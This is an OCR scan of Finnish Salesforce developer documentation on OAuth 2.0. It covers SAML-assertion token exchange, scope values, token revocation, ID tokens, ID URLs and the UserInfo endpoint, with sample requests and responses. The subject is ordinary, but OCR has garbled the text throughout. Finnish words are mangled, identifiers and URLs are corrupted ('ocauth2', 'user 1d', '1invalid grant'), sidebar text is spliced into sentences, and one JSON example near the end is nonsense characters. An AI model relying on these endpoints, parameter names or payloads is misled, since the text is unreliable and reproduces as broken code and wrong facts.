Kun olet maarittanyt SAML:in organisaatiollesi, sinulle tarjotaan kaksi URL-osoitetta:

®* Salesforce.com:in kirjautumis-URL — Kdytd tdtd URL-osoitetta, kun suoritat Web-kertakirjautumista.
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e OAuth 2.0 -valtuuden piaidtepiste —Kaytdtdtd URL-osoitetta, kun vaihdat SAML-vahvistuksen APL:n kanssa kdytettdvdan
kdyttooikeusvaltuuteen.

Kun luot valtuuden paatepisteen kanssa kaytettavia SAML-vahvistuksia, vahvistuksen vastaanotto-URL saattaa olla OAuth 2.0
-valtuuden p&atepiste tai Salesforce.com:in kirjautumis-URL.

Vaihda SAML-vahvistus kéyttdoikeusvaltuuteen

Jotta SAML-vahvistus voidaan vaihtaa kdyttdoikeusvaltuuteen, asiakkaasi taytyy saada tai luoda kdypa SAML-vastaus ja POST-lahettad se
valtuuden paatepisteeseen. Asiakas madrittdd tdman vastauksen hankintametodin. Kun asiakkaalla on kdypd vastaus, se lahettad seuraavat
parametrit:

* grant type — Arvon taytyy olla tdlle kululle assertion
® assertion — Base-64-koodattu ja sitten URL-koodattu SAML-vastaus, jota kaytettdisiin tavallisesti Web-kertakirjautumiselle
* assertion_ type —Tdytyyolla urn:oasis:names:tc:SAML:2.0:profiles:SS0:browser, URL-koodattu
e format — Oletettu palautusformaatti. Téma parametri on valinnainen. Oletusarvo on j son. Arvot ovat:

- urlencoded

- Json

- xml

Alla on esimerkki kaistan ulkopuolisen POST:in rungosta, joka tehtiin osoitteeseen
https://login.salesforce.com/services/oauth2/token:

grant type=assertion&assertion type=
urn%$3Aocasis$3Anames$3AtcS$3ASAMLY3A2.0%3Aprofiles%$3ASS0%3Abrowsers
assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhDbW.

Salesforce-palvelin |dhettdd vastauksen

Kun SAML-vastaus on vahvistettu, Salesforce lahettda vastauksen asiakkaalle. Vastauksen runko siséltad seuraavat parametrit:
® access_token — Salesforce-istuntotunnus, jota voidaan kayttdd Web-palvelujen APL:n kanssa.

* token type—Arvoon Kantaja kaikille vastauksille, jotka siséltdvat kayttéoikeusvaltuuden.

e id — Tunnus-URL-osoite, jota voidaan kayttda kayttdjan tunnistamiseen ja kdyttdjan lisatietojen noutamiseen. Lisdtietoja on kohdassa
Tunnus-URL-osoitteet sivulla 220.

Alla on esimerkki Salesforcen vastauksesta:

{"id":"https://login.salesforce.com/1d/00Dx0000000BV7z/005x00000012Q9P",
"instance url":"https://yourInstance.salesforce.com","access token":
"00Dx0000000BV7z ! ARBAQNhMmMQeDIKRO.hZagSTaEPCkmoXeYnkaxQngWlG6Sk9U3i3IFjEH
IzD1sYdUOQoVCXNJtPOwdb7ubrKfq9N1dfAKoQjd", "token type":"Bearer"}
Jos tdman vaiheen aikana ilmenee virhe, vastaus siséltaa virheviestin seuraavilla osilla:
e error — Virhekoodi
* error description — Virheen yksityiskohtainen kuvaus.
- unsupported response type — ei-tuettu vastaustyyppi
- 1invalid request — HTTPS vaaditaan
- invalid request — HTTP POST vaaditaan

- 1invalid assertion type — maddritettyd vahvistustyyppid ei tueta
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- 1invalid grant — Virheellinen valtuutuskoodi (varmista, ettd asiakassovellus ldhettdd URL-koodatut assertion-ja

assertion type-arvot)

- invalid grant — IP-rajoitetut tai virheelliset kirjautumisajat

- inactive user — kayttdja ei ole aktiivinen

- 1inactive org — organisaatio on lukittu, suljettu tai jdddytetty

- rate limit

exceeded — ylitettyjen kirjautumisten madra

e error_ uri — Linkki SAML-vahvistuksen tarkistajaan, joka siséltdd lisétietoja virheestd. Tdmd palautetaan vain, kun Salesforce voi
jasentad vahvistuksen.

Alla on esimerkki virheesta:

{"error uri":"https://yourInstance.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid grant","error description":"invalid assertion"}

KATSO MYOS:

Sovellusten OAuth-todennus

Alueen parametriarvot

scope-parametrin avulla voit hienosddtaa mihin asiakassovelluksella on kayttéoikeus
Salesforce-organisaatiossa. Kelvolliset scope-arvot ovat:

Arvo

api

chatter api

custom permissions

full

id

openid

Kuvaus

Sallii pddsyn nykyiselle sisadn kirjautuneelle kdyttdjatilille kayttamalld
APl:a, kuten REST APl tai Bulk API. Tdhan sisdltyy myds chatter api,
joka sallii Chatter REST API -resurssien kdyton.

Sallii padsyn vain Chatter REST API -resursseihin.

Mydntdd padsyn yhdistettyyn sovellukseen liitetyn organisaation
mukautettuihin kdyttdoikeuksiin ja ndyttad, onko nykyiselld kayttdjalla
kyseiset kdyttooikeudet kaytossa.

Sallii pddsyn kaikkiin tietoihin, jotka ovat sisdankirjautuneen kdyttdjan
kdytettdvissa. full ei palauta pdivitysvaltuutta. Sinun taytyy erikseen
pyytdd refresh token-vaikutusaluetta hakemaan paivitysvaltuus.

Sallii pdasyn henkil6llisyys-URL-palveluun. Voit pyytdd profiilia,
sdhkopostiosoitetta, osoitetta,tai puhelinnumeroa,
yksittain saadaksesi samat tulokset kuin kdyttden id:ta. Ne ovat kaikki
vastaavia keskenddn.

Antaa kayttdoikeudet nykyisen sisadn kirjautuneen kdyttajan yksilolliseen
tunnisteeseen OpenlD -sovelluksissa.

Openid vaikutusaluetta voidaan kayttad OAuth 2.0 kayttdjd-agentti
kulussa ja OAuth 2.0 Web palvelimen tunnistuskulussa, joka palauttaa
allekirjoitetun ID-varmenteen vahvistaen OpenlID Yhteysmadritykset
kdyttooikeusvaltuutuksen lisaksi.
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Kéytettavissa kaikissa
versioissa.

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdistettyjen sovellusten
hallinta”


http://openid.net/connect/

Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

Arvo Kuvaus

refresh token Sallii tunnuksen pdivittamisen palautettavaksi, jos olet oikeutettu sen vastaanottamiseen. Tama
mahdollistaa sovelluksen vuorovaikutuksen kayttajatietojen kanssa kayttajan ollessa yhteydettémassa
tilassa, ja témd on samaa tarkoittava kuin offline access.

Visualforce Sallii padsyn Visualforce-sivuille.

web Tarjoaa mahdollisuuden kdyttdd access_token-valtuutta verkossa. Tahdn sisaltyy myos
visualforce, joka sallii Visualforce-sivujen kayton.

Kaikkiin vaikutusalueisiin sisaltyy automaattisesti id, joten riippumatta kdyttamistasi scope-arvoista, sinulla on aina kayttdoikeus
henkil6llisyys-URL-osoitteisiin.

Kun kdyttdja hyvaksyy sovelluksia, vaikutusalueen arvo tallennetaan pdivitysvaltuutena.

Jos kayttdja esimerkiksi hyvaksyy sovelluksen, jonka vaikutusalue on id, luodussa pdivitysvaltuudessaon scope=id.Jos kdyttdjd sitten
hyvaksyy toisen sovelluksen, jolla on eri vaikutusalue (esimerkiksiapi), luodussa pdivitysvaltuudessa on scope=api.

Sekd JSON- ettd SAML bearer -valtuuspyynnét hakevat kaikkien aikaisempien pdivitysvaltuuksien vaikutusalueet ja yhdistdvat ne.
Yll3 olevan esimerkin tuloksena syntyvdssa kdyttdoikeusvaltuudessa olisi scope=1d%20api.

Alla on esimerkki pyynnostd, jonka scope-parametri on madritetty arvoihin api, id ja web.
http://login.salesforce.com/services/ocauth2/authorize?response type=token&client

1d=3MVGI1KcPONINVBKV6EGVJILiF . snSDwh6 2wSS7BrOhHGEJKC &redirect uri=http://www.example.org/ga/security/oauth
/useragent flow callback.jsp&scope=api%20id%20web

KATSO MYOS:
Sovellusten OAuth-todennus

ID-varmenteen saaminen ja vahvistaminen

OAuth-tunnusten kumoaminen

Kun kayttajat pyytavat tietojaan ulkoisen sovelluksen sisdlta (kuluttajan sivulta), heidat todennetaan. EDITION-VERSIOT
Voit kumota heidan kayttooikeusvaltuutensa tai paivitysvaltuutensa ja kaikki asiaan liittyvat valtuudet
kdyttamalld kumoamista. Kehittdjat voivat kdyttad tatd ominaisuutta madrittdaessaan sovelluksensa Kaytettavissa: Salesforce
uloskirjautumispainiketta. Classicissa

. Kéytettavissa kaikissa
Tunnusten kumoaminen Versioissa.

Voit kumota OAuth 2.0 -tunnuksia kdyttamadlla kumoamisen padtepistetta:

https://login.salesforce.com/services/oauth2/revoke

Muodosta seuraavat parametrit sisdltdvd POST-pyyntd kdyttdmalld muotoa application/x-www-form-urlencoded
HTTP-pyynndn rungossa. Esimerkki:

POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded
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token=currenttoken

Jos kdyttooikeustunnus on sisdllytetty, me mitdtdimme sen ja kumoamme tunnuksen. Jos pdivitetty tunnus on sisdllytetty, me kumoamme
myos sen seka kaikki asiaan liittyvdt paasytunnukset.

Valtuutuspalvelin ilmaisee pyynnon kdsittelyn onnistumisen palauttamalla HTTP-tilakoodin 200. Kaikista virhetiloista kdytetadn tilakoodia
400 yhdessa jonkin seuraavista virhevastauksista kanssa.

®* unsupported token type —ei-tuettu tunnustyyppi

° invalid token -virheellinen tunnus

Kayta sandboxille osoitetta test.salesforce.com osoitteen login.salesforce.com Sijasta.

GET-tuki

Me tuemme myds GET-pyyntdja, joilla on kyselymerkkijonoparametri token ja nykyinen tunnus. Jos paasytunnus on sisallytetty, me
mitatdimme sen ja kumoamme tunnuksen. Jos pdivitetty tunnus on sisdllytetty, me kumoamme myds sen seka kaikki asiaan liittyvat
padsytunnukset. Esimerkki:

https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

Valtuutuspalvelin ilmaisee pyynnon kdsittelyn onnistumisen palauttamalla HTTP-tilakoodin 200. Kaikista virhetiloista kdytetadn tilakoodia
400.

JSONP-tuki

Kumoamisen paatepiste hyvaksyy myds GET-pyynnét lisdpalautuksen kutsuparametrilla ja palauttaa vastauksen sisaltotyypilld
application/javascript. Esimerkki:

https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback
Jos pyyntd onnistuu, takaisinkutsu ldhetetdan JavaScript-toimintoon, joka on asetettu GET-pyynnon takaisinkutsuparametrissa:
myCallback({});
Jos pyyntd ei onnistu, takaisinkutsu lahetetdan virhekoodilla:

myCallback ({"error":"invalid token"});

KATSO MYOS:

Kéyttovaltuuden kdyttdminen
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Kayttévaltuuden kayttdminen

Kun OAuth-versiota 2.0 kayttava kuluttaja on saanut kdyttévaltuuden, valtuuksien kayttometodi EDITION-VERSIOT

riippuu kaytettavasta APlista.

e Kayta REST APLlle HTTP-vahvistusotsikkoa seuraavassa muodossa Authorization: Kaytettavissa: Salesforce
Bearer Access_Token. Classicissa

e SOAP APlissa kdyttovaltuus asetetaan SessionHeader SOAP -todennuksen ylatunnisteeseen. Kaytettdvissd kaikissa

e Kaytad tunnus-URL:lle joko HTTP-valtuutuksen ylatunnistetta (samalla tavalla kuin REST API) tai versioissa.

kdytd HTTP-parametrind oauth_token.
KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,
luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten

hallinta”
ID-varmenteen saaminen ja vahvistaminen
Salesforce voi vastata OAuth-pyyntddn tunnusvaltuudella, joka on OpenlD Connect -maaritysten EDITION-VERSIOT
mukainen. Seka OAuth 2.0 kdyttdjdagentin kulku ja OAuth 2.0 Webpalvelimen kulku voi pyytda

allekirjoitettua ID-varmennetta pyynndn vaikutusalueen parametrisisdltda openid:n. Palautettava Kaytettavissa: Salesforce
varmenne on JSON Web Token (JWT). Classicissa

e Kayttdjdagentin nnuskulun on siséllettava -parametrin, jonka arv . i il
dyttajdagentin todennuskulun on siséllettdvd response type -parametrin, jonka arvo Kaytettavissa: kaikissa

on varmenne id token, openid alue ja nonce parametri. versioissa.
e Webpalvelimen todennuskulun on sisdllettdvd response_type parametrin, jonka arvo on

code ja openid alueen. Nonce -parametrion valinnainen webpalvelimen todennuskulussa..

KAYTTJAOIKEUDET

Seuraava on esimerkkipyyntd ID-varmenteesta, joka kayttda kayttdjaagentin todennuskulkua.
OAuth-sovellusten hallinta,
luominen, muokkaaminen
ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta”

https://login.salesforce.com/services/oauth2/authorize?response type=token+id token
&¢redirect uri=https://login.salesforce.com/services/ocauth2/success

&client 1d=3MVG91KcPONINVBIPJjdwlJ9LLIbP pgwoJYyuisjQhr LLurNDv7AgQvDTZwCoZuD
30xug0sU3 WrBPd Ax6McnlgbHSnLGQ&scope=openid&nonce=somevalue

Kayta julkaistuja julkisia avaimia varmentaaksesi vastauksen allekirjoitus oikeaksi Salesforce-allekirjoitukseksi.
1. Siirry osoitteeseen https://login.salesforce.com/id/keys.

Vastaus sisaltdd JSON -muotoiltua tietoa julkisista allekirjoitusavaimista.
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2. Kdytd avainta, jossa on oikea kid -arvo, joka madrittelee julkaisuversion allekirjoituksen varmentamiseksi.

KATSO MYOS:
OAuth 2.0 -kdyttdjaagentin kulku

OAuth-version 2.0 Web-palvelimen todennuksen kulku

Tunnus-URL-osoitteet

Kayttovaltuuden lisaksi myds tunnus-URL palautetaan valtuusvastauksen osana
id-vaikutusalueparametrissa.

Tunnus-URL on kéyttajan yksildlliseen tunnistamiseen kaytetty merkkijono sekd RESTful AP, jota
voidaan kdyttad kayttdjan lisdtietojen pyytamiseen (voimassa olevalla kayttévaltuudella). Salesforce
palauttaa kayttajan henkildkohtaiset perustiedot seka tarkeita padtepisteitd, joille asiakassovellus
voi puhua, kuten kayttdjan valokuvat, seka kaytettavissd olevat API-padtepisteet.

Asiakassovelluksen kayttdoikeus organisaation kdyttdjan tunnus-URL-osoitteeseen ei tarjoa
kayttooikeutta saman organisaation toisen kdyttdjan tunnus-URL-osoitteeseen, ellei asiaan liittyva
valtuus taytd kaikkia seuraavia ehtoja.

e Kayttooikeusvaltuuden OAuth-pyyntd sisélsi vaikutusalueen full tai api.
e Kayttooikeusvaltuus on kayttajalle, jolla on "API kaytdssa" -kayttdoikeus.

e Kdyttooikeusvaltuus on kdyttdjalle, jolla on kdyttdoikeus toiseen kayttdjadn organisaation
kayttajien jakosdantojen perusteella.

e Kayttooikeusvaltuus on sisaiselle kdyttdjille, eli vastauksen user type-arvoon STANDARD.

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa

Kéytettavissa kaikissa
Versioissa.

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta”

Muussa tapauksessa tunnus-URL-osoitteen tarkasteleminen vaatii kayttdoikeusvaltuuden kuhunkin kdyttajaan.

URL-osoitteenmuotoon: https://login.salesforce.com/id/organisaationTunnus/kdyttdjatunnus,jossa
organisaationTunnus on kayttdjan Salesforce-organisaation tunnus ja kdyttdjdtunnus on Salesforce-kdyttajan tunnus.

@ Note: Sandboxille osoite 1ogin.salesforce.com korvataan osoitteella test.salesforce.com.

URL-osoitteen taytyy olla aina HTTPS.

Tunnus-URL-parametrit

Seuraavia parametreja voidaan kdyttda kayttovaltuuden ja tunnus-URL-osoitteen kanssa. Kdyttdoikeusvaltuutta voidaan kdyttda

valtuutuspyynnon yldtunnisteessa tai pyynndssé oauth token -parametrin kanssa.

Parametri Kuvaus

access token

format
® json

® xml

Lisatietoja on kohdassa Kayttévaltuuden kdyttdminen sivulla 219.

Tama parametri on valinnainen. Maaritd palautetun tuloksen muoto. Mahdolliset arvot arvot:

Parametrin format kéyttamisen sijaan asiakas voi myds maarittda palautusformaatin

hyvdksyntapyynnon otsikossa kdyttamadlla seuraavia:
® Accept: application/json

® Accept: application/xml
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Parametri Kuvaus

® Accept: application/x-www-form-urlencoded
Huomaa:

e Jokerimerkit sallitaan yldtunnisteessa. * /* hyvaksytdan ja palauttaa JSON:in.

e Arvojen luettelo hyvaksytaan myds ja tarkistetaan vasemmalta oikealle. Esimerkki:
application/xml, application/json,application/html, */*
palauttaa XML:n.

e format-parametri korvaa hyvaksy pyynto -ylatunnisteen.

version Tamd parametri on valinnainen. Maaritd SOAP APl -versionumero tai kirjaimellinen merkkijono

latest.Jostdtd arvoa eiole madritetty, palautetut APl URL-osoitteet siséltavat kirjaimellisen
arvon {version} versionumeron tilalla, jotta asiakas voi korvata merkkijonon. Jos arvoksi
on maaritetty latest, kdytetddn uusinta APl-versiota.

PrettyPrint Tama parametri on valinnainen ja se hyvaksytaan vain ylatunnisteessa, ei URL-parametrina.

Mé&aritd muotoiltava tulos. Kdyta esimerkiksi seuraavaa ylatunnisteessa: X-PrettyPrint: 1.
Jos arvoa ei ole mdaritetty, palautettu XML tai JSON optimoidaan koon mukaan luettavuuden
sijaan.

callback Tama parametri on valinnainen. Maarita kdypa JavaScript-toiminnon nimi. Parametri on kaytdssa

vain, kun muodoksi on madritetty JSON. Tulos lisdtadn tdmdn toiminnon nimeen (JSONP). Jos
esimerkiksi pyyntd osoitteeseen https://server/id/orgid/userid/ palauttaa
{"foo":"bar"}, pyyntd osoitteeseen
https://server/id/orgid/userid/?callback=baz palauttaa

baz ({"foo":"bar"}) ;.

Tunnus-URL-vastaus

Kéypa pyyntd palauttaa seuraavat tiedot JSON-muodossa:

id— Tunnus-URL (sama URL kuin mitd pyydettiin)

asserted user— Totuusarvo, joka osoittaa kaytettiinkd madritettya kdyttovaltuutta talle tunnukselle
user id—Salesforce-kdyttdjatunnus

username—>Salesforce-kdyttajanimi

organization_ id—Salesforce-organisaation tunnus

nick name— Pyydetyn kdyttdjan yhteislempinimi

display name— Pyydetyn kdyttdjdn ndytettavd nimi (koko nimi)

email— Pyydetyn kdyttdjan sdhkopostiosoite

email verified— limoittaa, kdyttadkd organisaatio sahkopostivarmistusta (true) vai ei (fFalse).
first name—Kayttajan etunimi

last name—Kayttdjan sukunimi

timezone—Kayttdjan asetusten mukainen aikavyohyke

photos— Kayttdjdn profiilikuvien URL-osoitteiden kartta

@ Nofe: Naiden URL-osoitteiden kdyttaminen vaatii kdyttvaltuuden siirtdmista. Lisatietoja on kohdassa Kdyttovaltuuden
kdyttdminen sivulla 219.
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- picture

= thumbnail

® addr_ street—Katuosoite kdyttdjan asetuksissa

® addr_city—Kaupunkikdyttajdn osoiteasetuksissa

* addr state—Osavaltio kdyttdjan osoiteasetuksissa

® addr_ country—Maa kdyttdjan osoiteasetuksissa

® addr_zip—~Postinumero kdyttdjdn osoiteasetuksissa

* mobile phone—Kannykkdnumero kdyttdjan asetuksissa

* mobile phone verified— Kdyttdjd vahvisti, ettd tdmd on kdypd matkapuhelinnumero. Lisétietoja on kohdassa
Mobiilikdyttdja-kentan kuvaus.

® status— Kdyttdjan nykyinen Chatter-tila

- created dateixsd datetime kdyttdjan viimeksildhettdman viestin luontipdivan arvo, esimerkiksi
2010-05-08T05:17:51.000Z

—  body: viestin tekstiosa
e urls— Kartta, joka sisaltda useita APl-padtepisteitd, joita voidaan kdyttad madritetyn kdyttdjan kanssa.

Note: REST-padtepisteiden kdyttdminen vaatii kdyttovaltuuden siirtdmistd. Lisatietoja on kohdassa Kayttovaltuuden kdyttdminen
sivulla 219.

- enterprise (SOAP)
- metadata (SOAP)

- partner (SOAP)

- rest (REST)

- sobjects (REST)

- search (REST)

- query (REST)

- recent (REST)

- profile

- feeds (Chatter)

- feed-items (Chatter)
— groups (Chatter)

- users (Chatter)

- custom_ domain— Tdmd arvo ohitetaan, jos organisaatiolla ei ole mddritettyd ja monistettua mukautettua toimialuetta

® active— Totuusarvo, joka madrittda onko pyydetty kdyttdja aktiivinen

* user_ type— Pyydetyn kdyttdjdn tyyppi

® language— Pyydetyn kayttdjdn kieli

e locale— Pyydetyn kdyttdjan paikkamadritys

® utcOffset— Pyydetyn kayttdjan aikavydhykkeen UTC-tasoitus millisekunteina

* last modified date— Kdyttdjdn tekemdn viimeiseimman muokkauksen xsd datetime -muoto, esimerkiksi
2010-06-28120:54:09.000Z
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® is app installed—Arvoon true kunconnected app on asennettu nykyisen kdyttdjdn organisaatioon ja kdyttdjén
kdyttooikeusvaltuus on luotu kayttamalla OAuth flow:ia. Jos yhdistetty sovellus ei ole asennettu, ominaisuutta ei ole olemassa (sen
sijaan, ettd se olisi false). Pyyntdd jasentdessasi, tarkasta sekd ominaisuuden olemassaolo ja sen arvo.

* mobile policy—VYhdistettyjen mobiilisovellusten hallintaan kdytettyja arvoja. Nama arvot ovat kdytettdvissa vain, kun nykyisen
kdyttdjan organisaatioon on asennettu yhdistetty sovellus ja sille on madritetty istunnon aikakatkaisuarvo ja PIN-koodin (Personal
Identification Number) pituus.

- screen lock— Kesto, jonka jalkeen ruutu lukitaan, jos mitddn toimintoja ei suoriteta sind aikana

- pin_ length— Mobiilisovelluksen kdyttdmiseen vaaditun tunnusnumeron pituus

* push service type— Tdmd vastausarvoon apple,jos yhdistetty sovellus on rekisterdity Apple Push Notification Service
(APNS) -palveluun iOS-tydntéilmoituksia varten, ja androidGem, jos se on rekister6ity Google Cloud Messaging (GCM) -palveluun
Android-tyéntéilmoituksia varten. Vastauksen arvon tyyppi on taulukko.

® custom permissions—Kunpyyntdsisdltdd vaikutusalueparametrin custom permissions,vastaussisdltdd yhdistettyyn
sovellukseen liittyvan organisaation mukautetut kdyttooikeudet sisaltdvan kartan. Jos yhdistettya sovellusta ei ole asennettu
organisaatioon tai siihen ei liity mukautettuja kayttdoikeuksia, vastaus ei sisdlld custom permissions-karttaa. Alla on esimerkki
pyynnasta.

http://login.salesforce.com/services/ocauth2/authorize?response type=token&client
1d=3MVGI1KcPONINVBKVEEGVJIiF . snSDhwh6 2wSS7BrChHGEJKC &redirect uri=http://www.example.org/da/security/oauth
/useragent flow callback.jsp&scope=api%20id%20custom permissions

Alla ndytetddn tunnus-URL-vastauksen JSON-lohkosta.

"custom permissions":
{
"Email.View":true,
"Email.Create":false,
"Email.Delete":false

Alla on esimerkki XML-muotoisesta vastauksesta:

<?xml version="1.0" encoding="UTF-8"?>

<user xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance">

<id>https://yourInstance.salesforce.com/id/00Dx0000001T0zk/005x000000152b9</id>

<asserted user>true</asserted user>

<user 1d>005x000000152b9</user id>

<organization i1d>00Dx0000001TOzk</organization id>

<nick name>adminl.2777578168398293E12foofoofoofoo</nick name>

<display name>Alan Van</display name>

<email>admin@2060747062579699.com</email>

<status>
<created date xsi:nil="true"/>
<body xsi:nil="true"/>

</status>

<photos>
<picture>https://yourInstance.salesforce.com/profilephoto/005/F</picture>
<thumbnail>https://yourInstance.salesforce.com/profilephoto/005/T</thumbnail>

</photos>

<urls>
<enterprise>https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk

</enterprise>
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<metadata>https://yourInstance.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk

</metadata>
<partner>https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk

</partner>
<rest>https://yourInstance.salesforce.com/services/data/v{version}/
</rest>
<sobjects>https://yourInstance.salesforce.com/services/data/v{version}/sobjects/
</sobjects>
<search>https://yourInstance.salesforce.com/services/data/v{version}/search/
</search>
<query>https://yourInstance.salesforce.com/services/data/v{version}/query/
</query>
<profile>https://yourInstance.salesforce.com/005x0000001S2b9
</profile>

</urls>

<active>true</active>

<user type>STANDARD</user type>

<language>en US</language>

<locale>en US</locale>

<utcOffset>-28800000</utcOffset>

<last modified date>2010-06-28T20:54:09.000Z</last modified date>

</user>

Alla on esimerkki JSON-muotoisesta vastauksesta:

{"id":"https://yourInstance.salesforce.com/i1d/00Dx0000001T0zk/005x0000001S2b9",
"asserted user":true,

"user 1d":"005x0000001S2b9",

"organization id":"00Dx0000001TOzk",

"nick name":"adminl.2777578168398293E12foofoofoofoo",

"display name":"Alan Van",

"email":"admin@2060747062579699.com",

"status":{"created date":null, "body":null},
"photos":{"picture":"https://yourInstance.salesforce.com/profilephoto/005/F",
"thumbnail":"https://yourInstance.salesforce.com/profilephoto/005/T"},

"urls":

{"enterprise":"https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk",

"metadata":"https://yourInstance.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk",

"partner":"https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk",

"rest":"https://yourInstance.salesforce.com/services/data/v{version}/",
"sobjects":"https://yourInstance.salesforce.com/services/data/v{version}/sobjects/",
"search":"https://yourInstance.salesforce.com/services/data/v{version}/search/",
"query":"https://yourInstance.salesforce.com/services/data/v{version}/query/",
"profile":"https://yourInstance.salesforce.com/005x000000152b9"},

"active":true,

"user type":"STANDARD",
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"language":"en US",
"locale":"en US",
"utcOffset":-28800000,

Sovellusten integrointi Salesforcen kanssa

"last modified date":"2010-06-28T20:54:09.000+0000"}

Kun tapahtuu virheellinen pyyntd, Salesforce voi vastata seuraavilla tavoilla:

Virhekoodi
403 (forbidden) — HTTPS_Required

403 (forbidden) — Missing_OAuth_Token

403 (forbidden) — Bad_OAuth_Token
403 (forbidden) — Wrong_Org

404 (not found) — Bad_Id

404 (not found) — Inactive

404 (not found) — No_Access

404 (not found) — No_Site_Endpoint
404 (ei Ioytynyt) — Sisdinen virhe

406 (not acceptable) — Invalid_Version

406 (not acceptable) — Invalid_Callback

KATSO MYOS:

Kayttovaltuuden kayttaminen

UserInfo-pddtepiste

Pyyntéongelma

HTTP

Puuttuva kdyttévaltuus

Kayttovaltuus ei kelpaa

Kayttdjid toisessa organisaatiossa

Virheellinen kayttdja- tai organisaatiotunnus
Ei-aktiivinen kayttdja tai organisaatio
Kayttajalld ei ole kdyttdoikeutta organisaatioon tai tietoihin
Pyyntd sivuston virheelliseen padtepisteeseen
Ei vastausta palvelimelta

Virheellinen versio

Virheellinen callback

UserInfo paatepiste on RESTful API, jota voidaan kayttaa kyselyyn (kelvollisen kdyttévaltuuden kanssa) EDITION-VERSIOT

kdyttdjadn liittyvasta tiedosta, kun kdyttovaltuus on vakio OpenID -Yhteysmuodossa. Salesforce
palauttaa kayttdjan henkilokohtaiset perustiedot seka tarkeitd paatepisteitd, joille asiakassovellus
voi puhua, kuten kayttdjan valokuvat, seka kaytettavissa olevat APl-padtepisteet. Tamad pdatepiste

Kéytettavissa: Salesforce
Classicissa

antaa tietojen kayttooikeuden nykyiselle kdyttdjalle ainoastaan eikd muille saman organisaation

kayttajille.

URL-osoitteen muoto on:

https://login.salesforce.com/services/oauth2/userinfo.

@ Note: Sandboxille osoite 1ogin.salesforce.com korvataan osoitteella

test.salesforce.com

URL-osoitteen taytyy olla aina HTTPS.

UserInfo padatepisteen parametrit

Kaytettdvissa: kaikissa
versioissa.

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta"

Seuraavia parametreja voidaan kdyttda kdyttovaltuuden ja Userinfo padtepisteen kanssa.
Kayttooikeusvaltuutta voidaan kdyttad valtuutuspyynnon yldtunnisteessa tai pyynnossé oauth_token -parametrin kanssa.
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Parametri
access token

format

version

PrettyPrint

callback

Userlnfo p&dtepisteen Vastaus

Sovellusten integrointi Salesforcen kanssa

Kuvaus
Lisatietoja on kohdassa Kayttdvaltuuden kdyttaminen sivulla 219.

Tama parametri on valinnainen. Maarita palautetun tuloksen muoto. Mahdolliset arvot arvot:
® json
® xml

Parametrin format kdyttdmisen sijaan asiakas voi myds mdarittad palautusformaatin
hyvéksyntapyynndn otsikossa kayttamalld seuraavia:

® Accept: application/json

® Accept: application/xml

® Accept: application/x-www-form-urlencoded

Huomaa:

e Jokerimerkit sallitaan ylatunnisteessa. * /* hyvdksytdan ja palauttaa JSON:in.

e Arvojen luettelo hyvaksytdan myos ja tarkistetaan vasemmalta oikealle. Esimerkki:
application/xml,application/json,application/html, */*
palauttaa XML:n.

e format-parametri korvaa hyvdksy pyyntd -yldtunnisteen.

Tama parametri on valinnainen. Maaritd SOAP APl -versionumero tai kirjaimellinen merkkijono

latest.Jostdtd arvoa ei ole madritetty, palautetut APl URL-osoitteet sisaltdvdt kirjaimellisen
arvon {version} versionumeron tilalla, jotta asiakas voi korvata merkkijonon. Jos arvoksi
on mddritetty latest, kdytetddn uusinta APl-versiota.

Tama parametri on valinnainen ja se hyvaksytadn vain ylatunnisteessa, ei URL-parametrina.
Maaritd muotoiltava tulos. Kaytd esimerkiksi seuraavaa yldtunnisteessa: X-PrettyPrint:1.
Jos arvoa ei ole maaritetty, palautettu XML tai JSON optimoidaan koon mukaan luettavuuden
sijaan.

Tama parametri on valinnainen. Maaritd kdypa JavaScript-toiminnon nimi. Parametri on kdytdssa
vain, kun muodoksi on maaritetty JSON. Tulos lisdtadn tdman toiminnon nimeen (JSONP). Jos
esimerkiksi pyynto osoitteeseen https://server/id/orgid/userid/ palauttaa
{"foo":"bar"}, pyynto osoitteeseen
https://server/id/orgid/userid/?callback=baz palauttaa

baz ({"foo":"bar"}) ;.

Kun kdypd pyynto on tehty, Salesforce palauttaa tiedot oletusarvoisesti JSON -muotoisena tai Muoto-parametriin madritelman mukaisesti.

Vastaus sisaltda OpenlD Connect Basic Client -profiilissa luetteloidut arvot seka Salesforce-kayttdjatunnuksen, organisaatiotunnuksen ja
liittyvdt URL-osoitteet profiilille, syétteelle jne.

Alla on esimerkki JSSON-muotoisesta vastauksesta:

{"sub":"http://login.salesforce.com/id/00Dx000.../005x000...",
"user id":"005x000...","organization id":"00Dx000...",
"preferred username":"userl1@1135222488950007.com",
"nickname":"user1.3860098879512678E12",
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"name" :"yourInstance LastName",
"email":"user1@1135222488950007.com",
"email verified":true,"given name":"yourInstance","family name":"LastName",

"zoneinfo":"America/Los_Angeles",

"drotes™: {"plchre": "hitdes: //yaurdnstanae. salesforce. can/arofi lednoto/005/F", "thundrad 1": "hitps: //yaurdhnstance. salesforce.cawjorofi lednoo/005/T",
"profile":"https://yourInstance.salesforce.com/005x000...",
"picture":"https://yourInstance.salesforce.com/profilephoto/005/F",

"address": {"country":"us"},
